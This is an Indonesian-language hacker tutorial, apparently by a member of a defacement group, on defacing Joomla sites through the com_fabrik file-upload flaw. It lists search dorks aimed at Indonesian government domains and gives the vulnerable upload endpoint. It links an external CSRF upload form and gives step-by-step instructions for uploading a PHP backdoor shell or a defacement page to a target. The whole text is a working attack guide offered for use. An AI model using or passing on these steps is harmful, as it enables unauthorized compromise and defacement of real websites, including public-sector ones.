Cara Deface Poc Com_fabrik

CARA PEPES POC COM_FABRIK

Assalamualaikum, Sebelum ketutorialnya alangkah baiknya kita berkenalan terlebih dahulu :v
Kenalin nama gw Nelo.F4 anak pungut di ESC wkwkw. Btw ini artikel pertama gw di idup gw ya
maklum kalo acak"an. udah gausah banyak cingcong lagi langsung aja ke tutornya wkwk :v

DORK: inurl: /index.php?option=com_fabrikinurl: /index.php/component/fabrik/ site:go.id
inurl: /index.php?option=com_fabrik&view= site:go.id
Selebihnya USE YOUR HAND

EXPLOIT: index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload

CSRF: Comot disene> https://pastebin.com/raw/YreiH686

Sc depes
Shell Backdoor Ext php,phtml,php5

1. Langsung aja dorking gapake lama!1!1

2. Nah kalo udah nemu targetnya tempel exploit di www.target.com/path/disni
kalo kek gini berarti vuln ea (cek gambar di bawah)

3. Copas CSRF yang diatas terus save dengan format .html (jangan lupa ganti target.co.li yang ada di
CSRF dengan target lu baru abis itu save)

4. Abis disave ngapain lagi?ya running lah CSRFnya pake browser lu orang, abis di running terserah deh mau di upshell apa mau di up sc depes u orang (liat gambar bawah)

5. Kalo bisa ke upload kek gini

6. Hasilnya?Taraaaaaaaaaaaaaaaaa

Oke mungkin ini perpisahan kyta h3h3h3, Sekian aja dari gw Nelo.F4 kalo ada pertanyaan bisa kontak ke fp Explosion Squad Cyber Di Fb.kurang lebihnya mohon di maafkan wassalamualaikum wr wb.